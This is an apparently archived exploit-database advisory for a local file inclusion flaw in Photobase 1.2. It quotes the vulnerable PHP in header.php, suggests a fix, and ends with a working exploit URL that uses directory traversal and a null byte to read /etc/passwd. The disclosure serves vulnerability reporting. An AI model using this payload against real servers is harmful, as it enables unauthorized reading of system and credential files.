Photobase 1.2 - 'Language' Local File Inclusion

Author: Osirys
type: webapps
platform: php
port: 
date_added: 2009-01-10 
date_updated: 2017-01-16 
verified: 1 
codes: OSVDB-51308 
tags: 
aliases:  
screenshot_url:  
application_url: 

[START]

####################################################################################################################
[0x01] Informations:

Script         : Photobase 1.2
Download       : http://www.monstar.nl/php-bin/count.php3?what=photobase.zip&id=0
Vulnerability  : Local File Inclusion
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


####################################################################################################################
[0x02] Bug: [Local File Inclusion]
######

Bugged file is: /[path]/include/header.php

[CODE]

<?php
include('include/conf.php');
include('include/functions.php');

if(isset($_GET['language']))
	$language = $_GET['language'];

include('language/'.$language.'.php');

[/CODE]

There is an include of a variable coming from GET --> $language

[!FIX] Filter $language before the include or just set its value with a local file.


[!] EXPLOIT: /[path]/include/header.php?language=[local_file]
                                                 ../../../../../../../../../../etc/passwd%00

####################################################################################################################

[/END]

# milw0rm.com [2009-01-11]